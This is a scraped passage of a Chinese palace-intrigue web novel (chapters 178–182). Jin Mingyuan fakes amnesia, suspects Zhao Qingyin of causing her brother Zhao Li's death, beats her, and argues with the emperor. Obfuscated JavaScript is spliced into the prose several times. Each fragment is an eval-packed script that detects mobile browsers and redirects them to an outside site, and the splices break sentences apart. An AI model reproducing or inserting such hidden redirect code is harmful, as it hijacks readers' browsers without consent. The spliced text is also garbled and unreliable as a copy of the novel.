“当然是装的啊,其实失忆也挺好的,看谁不顺眼直接出手就是,不像之前,还要瞻前顾后,顾及那么多东西。”晋明鸢说。 她的话听起来无所谓,但是姜妃还是看到她低头的时候,神色里像是有几分哀伤。 姜妃想要安慰,一时都不知道该说什么。 事实上,姜妃和失忆之前的晋明鸢确实不太熟。 那时候的晋明鸢总是和清妃在一起的,她看不惯清妃,便也不会往晋明鸢跟前靠。 现在晋明鸢的神色都和她所熟知的模样一般无二,但姜妃还是感觉有什么地方已经不一样了。 还是晋明鸢先看出了姜妃神色不对,她说:“姜妹妹,这段时间真是谢谢你了。” “姐姐和我不用客气,我爹一直都说是我们姜家欠你的,我照顾姐姐是应该的,而且这本来也是我自愿的。”姜妃说。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15758750|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 她说着不用客气,实际上在晋明鸢面前,有点局促的是她。 晋明鸢笑了笑,她伸出手来拍了拍姜妃的肩膀:“什么欠不欠的,你说当初那件事呀,我家那老头子本来就不喜欢京城的弯弯绕绕,他自己愿意去北疆的,你让姜老将军也别把那事放在心上了。” 姜妃说的事,在京城中也不是什么秘密,无非就是很多年以前,北疆明丰国作乱。 先帝最开始指派调任北疆的就是姜妃父亲,但那时候姜妃才刚刚出生,她母亲身体虚弱,没办法承受舟车劳顿,然后是晋明鸢的父亲自请接下了这差事,举家搬往了北方。 姜老将军一直把这事儿记在心里,说是呈了晋家的大恩,晋明鸢还记得自己当年刚嫁到京城来的时候,姜家送来的礼堪比她的陪嫁。 那时候京中人多是在议论她不守规矩,不懂礼数,也是姜老将军出面维护她,甚至还帮她收拾过烂摊子。 姜老将军一直都对她,对晋家有愧,甚至也觉得晋明鸢跳脱的性格都是因为他们姜家。 但晋明鸢自己清楚,她本就是个闲不住的性子,就算当年留在京城,也不可能长成端庄守礼的大家闺秀。 晋明鸢嫁到京城来没多久,朝中就乱了,后来她就被贺江灈强行送离了京城。 这些话她都没来得及和姜老将军说过,现在看着姜妃在她跟前这般掏心掏肺,晋明鸢心里也很不是滋味儿。 晋明鸢拉住了姜妃的手:“青雉,这几年委屈你了,我知道你本不该进宫的,等寻个合适的机会,我把你送出去。” 姜妃进宫,是在她和贺江灈彻底闹掰的那几年。 就算姜妃没有说过她进宫的原因,晋明鸢大约也知道,无非又是姜老将军觉得姜家愧对她,所以把姜妃送进来照顾她。 姜妃比她要小的多,如果她没记错的话,现在姜妃最多也就十七八岁。 想想自己进了冷宫之后,这宫里赵清吟一家独大,姜妃想来也没少受了委屈。 尤其是在她失忆之前,一直都是信任赵清吟的。 第178章 过往疑点 “晋姐姐干嘛突然说这些,虽然我刚进宫的时候确实有点不习惯,可现在早就好了。 而且和晋姐姐一起,我真的挺开心的,咱们可是一起耍过太后的交情,晋姐姐这么客气是不是看不起我?”姜妃说。 她本来对嫁人这种事就没有什么概念,当初和晋明鸢还有贺云瑄一起在冷宫里打打闹闹,开开心心,她觉得那样的日子就很好。 如果不是后来晋明鸢忽然出了冷宫,她甚至觉得一直在那里过下去应该也不错。 如此想着,姜妃又小声嘀咕道:“我又不是赵清吟,我和姐姐交好,从来不想从姐姐这里得到什么,只是因为喜欢和姐姐在一起罢了,姐姐若是再说这种话,就是看不起我姜青雉。” 话都已经说到了这个份上,晋明鸢便也不会再与姜妃客气了,她说:“青雉,多的话姐姐就不多说了,以后你就是我亲妹妹,唯一的妹妹。” 姜妃道:“那感情好呀,姐姐可记得,你可不能因为恢复了记忆,就在对着那个赵清吟心软了,她这段时间做的事你不能忘了吧?” 晋明鸢看到姜妃关切的目光,登时就觉得自己之前还真是够糊涂的,她想到她刚认识清妃的时候,小姑娘柔柔弱弱的跟在她身边叫姐姐,看起来又瘦又单薄。 她是贺江灈姨母的孩子,贺江灈说她在京城也算无依无靠,很是可怜,晋明鸢便顺手带她一起玩儿。 但她又实在笨拙,不管做什么总会磕了碰了的,然后贺江灈就会急匆匆的把人背回去。 几乎次次都差不多,无一例外。 那时候晋明鸢还总觉得愧疚,是她没有照顾好赵清吟。 但现在再回过头来想想,怎么会有人每天都受伤? 就算真的时运不济磕了碰了,但是赵清吟身上的伤永远都是最微小的擦伤,一两天就会好的,彻底连疤也不会留。 可也就是这样小的擦伤,就能让贺江灈带她去看太医。 如果不是这次失忆,晋明鸢永远不会去想这种细枝末节的小事,她也就永远不知道赵清吟从小的时候就一直在算计她,那时候她的心思就已经如此深沉了。 她从来都觉得赵清吟是因为没有依靠,所以才总爱缠着贺江灈的,其实从小时候开始,赵清吟就一直对贺江灈有心思。 只是那时候她是真的把赵清吟当妹妹,从来都没有在意,甚至也没有细想过,为什么赵离是赵清吟的哥哥,赵清吟黏着贺江灈更多。 看到晋明鸢久久不说话,姜妃心里又有点担忧,她小心的问:“晋姐姐,你该不会还对那个清妃纯有什么幻想吧? 你忘了咱们前两天查的了吗?你生下云瑄的事可能就与她有关,你现在…” “不会,我只是在想赵离,青雉,我觉得赵离的死有蹊跷。”晋明鸢说。 “晋姐姐,你这是什么意思?”姜妃脸色有点震惊。 谁都知道赵离是在保护晋明鸢离京的途中去世的,那时候除了晋明鸢以外,跟他在一起的就只有清妃,而在清妃回来的时候是一口咬定赵离是被先太子的人追杀至死的。 若是这件事有蹊跷的话,难不成还与清妃有关?只是想到这一个可能,姜妃就觉得背脊生寒,那赵离可是赵清吟的亲兄长呀。 “我现在也不确定,不过我想到了赵离坠崖的地方,我把位置给你,你让人去周边打听打听。”晋明鸢说。 她记得她那天是因为力气耗尽晕倒了。 等再醒来的时候,就是在悬崖边了,浑身都酸痛不止,赵清吟偎着她,哭的撕心裂肺。 赵离坠崖的消息,也是她听赵清吟说的。 当时赵清吟哭的太厉害,她只顾着安慰赵清吟了,中间很多细节都没有细想。 现在回忆起来,如果赵离是被人追杀至自坠崖,那她和赵清吟两个手无缚鸡之力的女子,为什么能好好的,甚至连周边都没有什么打斗的痕迹? 这次找回记忆,好像曾经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15769345|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的一切都在自己的脑海里,又清晰无比的过了一遍,很多从前不会注意到的细节,现在也变得无比清楚。 尤其是在她知道了赵清吟的真面目之后,不会再自己去粉饰赵清吟的所作所为,这就让过去很多事变得更加经不起推敲。 晋明鸢找了纸,很快就把自己记忆中的位置写了出来,然后她想了想,又大致的把自己当时所在的悬崖模样画了画,最后标出了一个地点。 那是当时赵清吟指给她的地方,她说赵离就是从那儿掉下去的。 姜妃拿了纸之后,很快就让挽月安排了下去。 她看着晋明鸢那张神色凝重的脸,又有点担忧:“那姐姐打算接下来怎么做?你记忆的是要装多久?还有你之前到底怎么失忆?太后…” 没有等姜妃问完,晋明鸢就自己道:“我得给我爹写封信,太后那个老妖婆,就不是什么好东西,她竟然暗地里想要与明丰国建交。 那天我就是听到了这烂事,才让她追杀的。 不过近来发生了那么多事,在这件事上她应该没胆量做的太急切才是,不管怎么,我得先让我爹提防一下。” “明丰国!”姜妃满脸的震惊,其实之前晋明鸢在御花园里撞破的那次,安妃就稍稍披露过一些关于太后的事了。 但却从没说过,太后竟然还想与敌国联系。 听说安妃的那个心上人现在就在北疆大营,难道太后他们把人派过去就是为了促成这件事吗? 这么看来,晋老将军那里可能还真不太平。 晋明鸢很快就写完了信,在署名的时候,她却有点犹豫。 最后想了想,她还是没有把自己的名字写上去,只是把信交给了姜妃:“劳烦妹妹以姜家的名义替我把这封信送出去吧,别告诉那老头子是我写的。” “为什么?听说你这些年也没有与晋伯伯接触过,如今好不容易写了信,为什么不署名?”姜妃实在不明白的询问。 第179章 晋明鸢你别发疯 姜妃的话让晋明鸢神色有些微的晃动。 就在姜妃觉得晋明鸢要说出什么很重要的答案时,就看到她稍稍撇了撇嘴:“老头子就是个糊涂东西,当初是他不相信我的,等以后真相大白了,我看他求不求我认他这个爹。 还有云瑄,他态度要是不好,我就不让云瑄认他这个外公。” 晋明鸢现在的态度,完全就像是在赌气。 姜妃有点无奈,对晋明鸢的话更是不置可否,晋明鸢自己想到过去,脸色依旧不怎么好看。 没过多久,她忽然猛地站了起来,对着姜妃道:“我出去一趟。” “你这又是去哪里?”姜妃问。 她记得曾经的晋明鸢就算不是太端庄,好歹在做四皇子妃的那段时间,也还算稳重。 后来进了冷宫之后,就更是不言不语,性子沉稳。 怎么这回她恢复了记忆之后,反而比以前更跳脱了,简直就是一惊一乍,想起什么来是什么。 晋明鸢说:“去找赵清吟。” “你又找她做什么?”姜妃有点无奈。 晋明鸢挽了挽袖子:“我咽不下这口气,你信不信贺江灈那个王八蛋,看在赵离的面子上,肯定不会太罚她的。 赵离当年护着我,我也感激他,但赵离是赵离,赵清吟是赵清吟,我不可能因为赵离,就忽略掉赵清吟这些年来对我的算计。” 晋明鸢的态度无比坚定,姜妃深深的看了她一眼,并没有劝告的意思,她道:“我和姐姐一起去吧。” 除去可以互相关照以外,她心里也想知道晋明鸢恢复记忆之后,要怎样对待赵清吟。 玉粹宫里,赵清吟脸色不太好看。 贺江灈刚刚才走,他怪她自作主张,要帮晋明鸢恢复记忆,直接把她从清妃降为了昭仪。 清昭仪。 想到现在这个位分,赵清吟心底就觉得没法接受。 从贵妃降做清妃,好歹这宫里也没有别人能越过她去,她也无需因为谁低头,可现在直接沦为昭仪,莫说是对贺江灈独一无二了,就说这宫里,比她位分高的也不止一个。 尤其这其中还有那个姜妃,她们两个本就不对付,这么一来,她以后见了姜妃岂不是还要行礼? 只是想到这里,赵清吟就觉得没办法忍耐。 偏偏就在清昭仪烦闷不止的时候,外面忽然传来了一声通报,说是姜妃和晋明鸢来了。 清昭仪的脸色一下子就不好了。 她之前看到晋明鸢的时候,会迫不及待的迎上去,可这次,她根本没有精力来应付晋明鸢或者姜妃。 清昭仪正要让人寻个理由把晋明鸢打发了去,话都没说出口,晋明鸢就直接风风火火的闯了进来。 清昭仪赶紧挤出了个笑脸,她连忙对着晋明鸢迎了上来:“晋姐姐,你怎么来了?我…” 话只说了一半,晋明鸢忽然抬起手来,对着她的脸就是一巴掌。 啪的一声脆响,把玉粹宫里的所有人都镇住了,清昭仪同样满脸错愕的看着晋明鸢:“晋姐姐,你为什么打我?是不是我做了什么让你误会了?” 她抬起眼来看向晋明鸢,强行压住了视线里的几分怨恨,又是那副温温柔柔的模样。 一只手捂着脸,眼睛泛着红,看起来简直我见犹怜。 晋明鸢见状,心底泛起了一股冷意。 清妃这幅姿态,她简直太熟悉了。 之前那些年,这个女人跟在她身边的时候从来都是这样,她的那张脸上永远都带着几分委屈,像是无声的吸引人怜惜保护。 晋明鸢已经想不起来,之前有多少次,她是被清昭仪这幅面目骗住的了。 而现在在看女人这幅我见犹怜的样子,晋明鸢只觉得虚伪。 做了坏事的是她,装可怜的也是她。 在认识到了她的真面目以后,晋明鸢实在没有一点心思在联系她。 她冷声道:“你少在我面前装模作样的,自己做过什么自己不清楚吗?咱们之间到底是不是误会你自己清楚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15769346|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 眉眼微垂,看到的还是赵清吟那张带着泪的脸,晋明鸢没犹豫,扯着赵清吟的头发,又甩了她一巴掌。 赵清吟根本没想到,这巴掌还能有第二下,她甚至忘记了哭,冲着晋明鸢就吼:“你有完没完?我今天怎么你了,你凭什么打我?” “想打就打了,还需要理由吗?我今天就是看你不顺眼。”晋明鸢才没有心思和赵清吟解释。 她拽着赵清吟头发的手没松,现在再看着这个她曾小心翼翼的爱护着,当做妹妹一样的女人,她只觉得讽刺。 纵然她当年生下云瑄的事还没有查明,可这五年来,这女人在冷宫里一次次挑拨她和云瑄的关系,这件事就足够她对她动手了。 而且还有余嬷嬷,还有翠枝,她们全都死在她这位好妹妹的手里,就算是为了这些人,她也不能轻饶了赵清吟。 赵清吟被晋明鸢扯的直接踉跄着弯下了腰,她伸出手来,想要把晋明鸢的手掰开,却根本没办法做到。 她感觉自己的头皮都要被晋明鸢扯了下来,再也没办法维持平日里的温柔,声音尖锐的对着赋雪道:“都愣着做什么呢?还不快赶紧把她拉开,难道想看着她打死本宫吗? 快去请陛下,去请陛下,晋姐姐疯了,快让陛下来救我。” 赋雪一边看看清昭仪,一边看看姜妃,像是有点左右为难。 如果赵清吟还是清妃,赋雪肯定会马上来帮自家主子。 可她现在只是个昭仪,姜妃还在这里盯着,赋雪一时也不敢上前。 赵清吟又尖叫了一声,指使不动赋雪,她只能自己在晋明鸢手底下挣扎。 晋明鸢动作一点也不含糊,扇完了巴掌以后,又拽着头发踹她。 赵清吟被打的东倒西歪,尖叫连连,偏又挣脱不开晋明鸢的钳制,她尖叫道:“晋明鸢,你到底想做什么?你能不能别在这里发疯?” 晋明鸢面不改色,她冷声问:“怎么?现在不叫姐姐了,姐妹情深的戏码不打算演了?” 第180章 赵离**的 演… 她现在人都快被晋明鸢打疯了,她还演个鬼啊? 赵清吟胸口起伏不定,有一口气压在胸腔里,让她甚至喘不上气来。 她向来习惯以柔克刚,不动声色的来达成自己的目的。 可现在晋明鸢的巴掌就像是直接撕掉了她的假面,激的她连静心思考的能力都没有了。 至于那句姐姐… 哪怕曾耐着性子在晋明鸢面前演了那么多年,现在清妃也根本没法叫出口了。 她怒道:“我既没招你也没惹你,你就这么不管不顾的冲到我宫里来打我,这事儿我一定得告诉陛下。” 说话的时候,她觉得自己的嘴角都在不住的抽痛着,伸手一摸,好像还能摸到脸颊上些微的浮肿。 尤其是唇齿之间,还有淡淡的血腥味,不断萦绕着。 根本不用照镜子,赵清吟自己都能想到她现在定然很狼狈。 她这辈子都没有这么丢脸过。 “告啊,你以为我会怕你不成,我管你告不告呢,我今天就是来打你的。”晋明鸢道。 她现在还在装失忆,有些账是不能和赵清吟明算,可是这顿打,她定然得过瘾。 这么想着,晋明鸢又拽着赵清吟的头发,迫使她仰起脸来,对准她另一边脸就是一巴掌。 赵清吟被打的尖叫一声,一双眼睛里像是要渗出红血丝来,她怒吼道:“啊!晋明鸢,你就是个疯子,我跟你拼了。” 她也不再只是去掰晋明鸢的手了,挥舞着双臂就要过来抓晋明鸢的脸。 只是这些年一向养尊处优的她,又哪里比得上晋明鸢力气大? 挣扎了半天,非但没有碰到晋明鸢,反而被晋明鸢拽掉了一大把头发,就连头皮都是火辣辣的疼。 “晋明鸢!”赵清吟咬牙切齿的又叫了一声,她捂着头,喘息声都粗重几分,却又不知道该说什么。 这个晋明鸢今天不知道中了什么邪,发起疯来不管不顾。 她根本没法是奈何晋明鸢,只能把视线落在了看起来还算正常的姜妃身上:“姜青雉,你不管管她吗?就任由她在这里发疯,殴打嫔妃?你就…” 赵清吟想问,姜妃就不怕贺江灈怪罪吗?话都没有说完,一直安安静静的姜妃忽然上前一步,有样学样的,也对着她的脸来了一巴掌。 赵清吟感觉,自己脑袋都被这一巴掌打的嗡嗡作响。 她怒道:“你干什么?” 晋明鸢发疯打她也就算了,她最近素来不太正常,可这个姜青雉又凭什么? 对着赵清吟不服的目光,姜妃晃了晃手腕,声音讥讽:“看来咱们清昭仪还是没有习惯自己的新身份呀,本宫的名讳也是你一个昭仪能叫的吗?” 她似笑非笑地看着赵清吟,她可不像晋姐姐一样没有理由**,她这是在教赵清吟别以下犯上。 姜妃的这句解释落在赵清吟的耳中,还不如没有。 又一次听到那个清昭仪,赵清吟心头只觉得比挨了几个巴掌还让人难受。 就在这时,外面终于传来了通传声,说是贺江灈来了。 赵清吟连忙捂着脸小跑着朝着门外冲了出去,晋明鸢见状,只是冷眼看着她,并没有拦。 “陛下,陛下,阿吟不知道自己做错了什么,惹的晋姐姐和姜妃娘娘不快了。 让她们跑到玉粹宫,不由分说的就打阿吟。 阿吟自己受点委屈倒是没什么,阿吟只是不想晋姐姐误会了阿吟,还请陛下一定要帮帮阿吟,给阿吟一个清白。”赵清吟一开口,声音里就带了哭腔。 嘴上说着不在意,她却冲着贺江灈的方向扬起了半边脸,露出带着明显巴掌印儿的脸颊。 晋明鸢看着她站在贺江灈身边的模样,思绪一下子被拉到了幼年时。 她记得小时候,赵清吟也喜欢这样告状的。 那时候赵清吟喜欢跟在她身边,然后只要磕了碰了,就会跑到贺江灈那里哭。 她说:“表哥,今天晋姐姐又带着阿吟爬树了,可阿吟太笨了,弄伤了手。” 她说:“表哥,今天晋姐姐带阿吟去捉鱼了,虽然弄脏了阿吟的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15778627|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裙子,可阿吟不怪姐姐。” 这样类似的话,晋明鸢回想起来都不记得她说过多少了。 她总喜欢黏着自己,又委屈的站在贺江灈那里说这种似是而非的话。 那时候的晋明鸢实在神经大条,她从来都不会去深思别人话里的恶意。 她真的觉得赵清吟是一个极好极好的姑娘,哪怕受了伤,也会为她说话。 也正因为如此,她对赵清吟总是格外的怜悯,更是费尽心思的想要对赵清吟好,这一好,就是十几年。 现在这些过往又一次在脑海里回荡的时候,晋明鸢都觉得当年的自己实在过于愚蠢。 晋明鸢**的时候,力道一点也没有收着,现在赵清吟脸上的浮肿明显,触目惊心,贺江灈根本不用仔细看,就已经瞧得一清二楚。 他眉头深深的皱起:“这到底怎么回事?” 他前脚才从玉粹宫里离开,还没有回到紫宸殿,就听说晋明鸢来了这边,心里放心不下才赶过来的,结果没想到还是… 赵清吟红着一双眼睛:“陛下,这不怪姐姐,姐姐…” “你说的对,这当然不怪我,若不是咱们清昭仪苦心孤诣地弄了什么杂耍班子来害我,我又怎么会中了邪控制不住自己呢?这顿打是你该挨的。” 没有等赵清吟把委屈的话说完,晋明鸢自己就堵上了她的嘴。 这个理由,她在地牢里已经对太后用过一次了,这回用起来更是熟稔。 也不管贺江灈明显古怪异常的神色,晋明鸢又挥了挥手:“哎呀,真是不好意思清昭仪,我这头晕眼花的,又想**了,肯定是邪祟还没消去,你害我中的邪,你得负责到底。” 她伸手就要拽赵清吟,赵清吟赶紧躲到了贺江灈的身后:“我警告你,你别冤枉我!那只是让人恢复记忆的东西而已,根本就没有中邪这一说。” “是吗,清昭仪这么清楚,这一切就是你安排的了,那我倒想问问,你对我记忆如此上心的时候,可有想过我会想起你对赵离做过的事?”晋明鸢面色一冷,阴测测的问。 第181章 真会装啊 晋明鸢一句话,先是让贺江灈冲着她望了过来。 贺江灈的声音带着震惊:“阿鸢,你是不是都想起来了?” 晋明鸢回头,狠狠的瞪了他一眼,有他什么事呀?又没与他说话,凑什么热闹? 贺江灈有点莫名,晋明鸢。也懒得再听他说什么,直接看上了赵清吟:“阿吟,那可是你亲兄长,你怎么能对他做出这么狠心的事?” 再一次听到阿吟二字从晋明鸢口中出来,赵清吟控制不住的打了个寒颤。 她甚至已经感觉不到脸上的疼痛了,连视线都有点麻木的看向晋明鸢,然后很快矢口否认:“我听不懂晋姐姐在说什么! 我哥哥坠崖的时候,晋姐姐不是在场吗? 我一直把你当亲姐姐的,我哥哥更是对你颇有照顾,可晋姐姐怎么能在我哥哥死后,这般肆无忌惮的提起我的伤心事呢? 晋姐姐,你怎么就这么狠心?” 赵清吟声音最开始还算平静,但后来她好像情绪忽然崩溃了,双手抱着头就跌坐在了地上,手臂是颤抖的,肩膀更是颤抖的。 话到最后,她好像连喘气都不会了,寂静的空气里,只能听到她连呼吸都困难的哽咽。 “娘娘,娘娘您没事吧?”赋雪赶紧扑过来扶她,但仅凭她自己的力气,根本就没办法把赵清吟从地上拉起来。 女人就好像已经哭得虚脱了,她也顾不得形象,身子就瘫软在地上,发丝垂落下来扫在地面上。 此番狼狈,根本不再像一个光鲜亮丽的宫妃,反而更像是乞丐。 赵清吟一入宫就是贵妃,就连入宫之前,也是贺江灈的表妹,她从来都是光鲜亮丽的,没有人看过她这般狼狈。 贺江灈亦是没见过她如此不顾形象。 就像是情绪崩溃到完全没有理智了那般,无论赋雪怎么劝也不能把她拉起来。 赋雪有点担忧的看向贺江灈:“陛下,求您帮帮我们娘娘吧,娘娘她最在意大公子了,她这会儿…” 贺江灈也是紧蹙着眉心,不管是不是因为赵离那层关系,他也不能放任着赵清吟瘫在地上不管。 贺江灈终于还是弯下了腰来,他抱起了赵清吟,在晋明鸢身边经过的时候,忽然停了一下脚步:“你今天有点过了。” 晋明鸢脸色不太好看,她深吸一口气就要怼回去,但贺江灈已经急匆匆的进了玉粹宫。 姜妃见状,狠狠地啐了一口,不屑道:“可真会装呀,晋姐姐,我现在也算知道她为什么能骗你那么多年了。” 晋明鸢不太想谈这个话题,她看着玉粹宫里很快就有人出来,急匆匆奔向了太医院,现在看来,这一夜赵清吟还有的闹。 没有停留多久,晋明鸢就和姜妃一起回了邀云宫。 一路上,姜妃还是觉得咽不下去那口气,一直都在愤愤不平地骂着赵清吟装模作样。 晋明鸢倒是冷静的很多,一直等到姜妃骂够了,她才说:“这件事绝对有古怪,如果她真能坦坦荡荡,也不至于装疯卖傻,不过她现在那么会演,怕是找不到证据的话,贺江灈那个王八蛋肯定不会疑她。” 提到贺江灈的名字时,晋明鸢有点咬牙切齿的意味,她被赵清吟骗了十多年,挺蠢,贺江灈也没有好到哪里去。 姜妃大部分的注意力都被晋明鸢那句王八蛋牵引了,她也是没想到,晋明鸢这恢复了记忆之后,比之前还要泼辣了。 真真是一点也不避讳。 她甚至有点搞不懂,晋明鸢明明是这样鲜活的性子,为什么在做四皇子妃的时候却像极了这京中千篇一律的端庄主母。 姜妃也没有多问之前的事,她又问晋明鸢:“那我们接下来怎么做?” 晋明鸢晃了晃手腕:“没有证据是没法拆穿她了,她最好这段时间安安分分的,别再招惹到我头上,不然我再去打她一顿也是不费工夫的。” 要不是在赵清吟装疯之前,她已经先把人打了,今天她肯定能被气的睡不着觉。 姜妃听着晋明鸢的话,对着晋明鸢轻轻竖了竖大拇指。 她之前总担心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15778628|170047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晋姐姐对赵清吟狠不下心来,但今天看到晋明鸢这样,她就放心了。 一夜无话。 早上的时候,晋明鸢就听到玉袅说起,昨夜玉粹宫里闹了一整夜,清昭仪向是受尽了刺激,哭闹不止,就连太医给开了安神药也没能好转太多。 陛下也在玉粹宫陪了一夜,听说就连去早朝的时候,脸色都不是太好。 听到这些话的时候,晋明鸢眼睛里又是一片深沉的疯意。 当初赵离去世的时候,赵清吟除了前两天掉了两滴眼泪以外,根本就没有受到多大的影响,没道理现在人已经**五年多了,提起来她却接受不了了。 那女人素来爱装模作样,晋明鸢也没有放在心上,结果刚用完早膳,下了朝的贺江灈就来到了邀云宫。 晋明鸢对他没有什么好脸色,见了面之后也没有行礼,就是先阴阳怪气的道:“陛下,这是要来替你的小表妹出头了吗?” 贺江灈眉毛都拧在了一起,只觉得今天晋明鸢说话格外的刺人,他道:“阿鸢,你之前与她不是最好的姐妹了,为什么现在对她恶意那么大?” “因为老娘现在不瞎了,不像咱们陛下,好表妹落两滴泪就迷的你找不到北。”晋明鸢说。 听到贺江灈提姐妹二字,她想到的只有自己这些年来对赵清吟的百般爱护。 越是深想下去,她心里就越觉得恶心。 连带着看面前的男人也烦躁。 如果不是她现在还不能暴露自己恢复了记忆的事,她真想不管不顾的把这人撕了算了。 晋明鸢看不惯贺江灈的时候,贺江灈眉心越蹙越深,他视线有点探究的看着晋明鸢,过了有一会儿,他忽然问:“阿鸢,你是不是恢复记忆了?你是不是想起了什么,所以才…” “我还又想起什么吗?你的好表妹请杂耍班子算计我,还不够我和她撕破脸? 尊敬的陛下,你觉得我晋明鸢像是能忍气吞声的人吗?” 晋明鸢直接打断了他的话,也压住了他的怀疑。 第182章 好表妹 阿鸢性子素来刚烈,眼里最是容不得沙子。 这一切贺江灈一直都知道,在听到晋明鸢的这个解释时,贺江灈也觉得挺合理的。 只是… 他又问:“你今天怎么会提起赵离?还有为什么总把表妹挂在嘴边?” 诚然赵清吟确实是他的表妹,但这话从晋明鸢口中说出来的时候,贺江灈总觉得很是古怪,像是带着什么阴阳怪气的意味,让他听的心里不适。 晋明鸢是咬**不愿意承认自己恢复记忆的事,她说:“就听到别人提起了随口问问呢,谁知道你的好表妹就吓成那样,若非心里有鬼,何至于那么害怕?” 后面那个问题,晋明鸢根本没打算回答,她再开口的时候,对赵清吟的称呼还是表妹。 贺江灈眼眸里一片暗沉,他看着晋明鸢那张愤懑的脸,片刻之后还叹了一口气:“你不喜欢她就算了,以后不与她接触就是,只是不要再去她面前提赵离了。 不管怎么说,赵离是护你而死,阿鸢,你现在还什么都不知道,如果你真的想起来了过去的事,一定会后悔拿赵离说事的。” 晋明鸢在听到贺江灈这句话的时候,眉眼略微垂了垂,眼睛里闪过诸多情绪。 就算赵离是赵清吟的兄长,晋明鸢都没有办法否认,赵离是一个很坦诚正直的人,他像是宁折不弯的修竹,从来坦荡高洁,即便赵青吟是他的妹妹,他也从来不会偏袒分毫。 在京城的那段时日里,晋明鸢甚至觉得,赵离比她的兄长更像兄长。 如果不是要诈赵清吟的话,晋明鸢也不可能提赵离的。 在得知赵离死讯的时候,她的难过一点也不比贺江灈少。 正因为如此,在察觉到有蹊跷的时候,她才迫切的想要给赵离讨回公道。 晋明鸢说:“如果我偏要提呢?我就是要在她面前提赵离,我就是…” “阿鸢,朕敢保证,你以后一定会为这件事后悔的。”贺江灈说。 晋明鸢冷笑一声,她盯着贺江灈的眼睛,无比的认真,她说:“我知道我在做什么,我绝对不会后悔,倒是我们尊敬的陛下,在把你的表妹捧在手心里的时候,先想一想为什么时隔五年,她听到赵离名讳的时候,比五年前反应还大? 真的是受了刺激吗? 可赵离去世的时候,你可见她像现在这般? 可她拿着赵离的遗愿,让你封她做贵妃的时候,你从不觉得奇怪吗? 赵离最是坦荡刚直,你凭什么觉得他会允许他妹妹给人做小?” 在贺江灈的注视里,晋明鸢实在是不吐不快,她觉得这不仅仅是赵清吟一个人对所有人的蒙骗了,这分明是对赵离人品的质疑。 晋明鸢把所有的话吼完之后,才觉得胸口中的郁气散了一点,再抬眼的时候,就见贺江灈看她的目光愈发怀疑。 没有等贺江灈发问,晋明鸢就自己吼道:“你看什么看?所有人都说赵离为我而死,我打听打听他的事不行吗? 反正我不觉得像旁人口中那个坦荡正直的赵离,会允许自己的妹妹插足别人的感情,给人做小。 他如果能同意,早就同意了,何必等临死的时候再立什么遗愿?” 晋明鸢的解释,让贺江灈脸上的探究又散掉了。 这件事他不是没有怀疑过。 当初他们四个形影不离的时候,赵离就常说一定要给赵清吟择个好夫婿,他的妹妹值得一人一心相待。 后来赵清吟带着赵离的遗愿回来的时候,他以为是赵离临死托孤… 贺江灈一直站在原地,好半天都没有反应。 就在这时,忽然外面有人通报:“陛下,清昭仪那里情况不太好,还请您过去看看吧。” 来的正是玉粹宫的赋雪。 晋明鸢冷笑:“哎呀,咱们的好表妹又叫了,陛下可快点去看看吧,别表妹出了什么事。” “阿鸢,你…”贺江灈有点无奈。 尽管表妹是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 